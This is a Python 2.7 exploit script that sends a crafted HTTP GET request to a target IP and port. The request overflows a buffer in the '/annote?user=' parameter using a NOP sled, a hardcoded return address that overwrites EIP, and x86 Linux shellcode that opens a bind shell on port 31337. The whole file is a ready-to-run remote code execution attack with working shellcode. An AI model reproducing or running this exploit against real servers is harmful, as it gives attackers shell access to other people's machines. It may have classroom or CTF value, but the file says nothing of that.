#!/usr/bin/python2.7
# LOL python2.7
# Python 3.0 gets screwy with bytes in strings

import socket
import sys

BUFSIZE = 472
PADDING = 60
RETADDR = "\x1c\xed\xff\xbf"

# port bind (31337) shellcode, listens for connection, dup2 into execve to /bin/sh
SHELLCODE = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" + \
            "\x5b\x5e\x52\x68\x02\x39\x7a\x69\x6a\x10\x51\x50\x89\xe1\x6a" + \
            "\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" + \
            "\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" + \
            "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" + \
            "\x0b\xcd\x80"

# connect to target socket, send HTTP GET request
# with exploit in payload
def exploit(target, payload):
    tmp = target.split(':')
    ip = tmp[0]
    port = int(tmp[1])
    
    try:
        print("attempting to send payload")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, port))
        s.send(payload)
        print("payload sent")
        s.close()
    except:
        print("failed to send payload")
        sys.exit(1)

def payload_gen():
    global BUFSIZE
    global RETADDR
    global PADDING
    global SHELLCODE
    
    # temporary placeholder to calculate length
    final = "GET /annote?user=HTTP/1.0\r\n\r\n"
    f_len = len(final)
    sc_len = len(SHELLCODE)
    addr_len = len(RETADDR)
	
    # calculate length of NOP sled to get proper offsets, etc
    noplen = BUFSIZE - f_len - sc_len - PADDING - addr_len - 1

    # Build request method along w/ resource
    final = "GET /annote?user="
    final += "\x90" * noplen

    # append shellcode
    final += SHELLCODE
    
    # extra padding; keeps
    # shellcode away from ebp
    # otherwise it will mangle itself
    final += "\x90" * PADDING

    # append address that overwrites eip
    final += RETADDR
	
    # makes the target server happy
    final += "HTTP/1.0\r\n\r\n"
    
    return final

def usage():
    print("Usage: buffexploit.py [target ip] [target port]")
    sys.exit(0)
    
# acquire target, build payload, send to target, target gets rekt
def main():

    if len(sys.argv) != 3:
        usage()

    # ip and port, separated by colon
    target = sys.argv[1] + ':' + sys.argv[2]
    payload = payload_gen()
    exploit(target, payload)

if __name__ == "__main__":
    main()
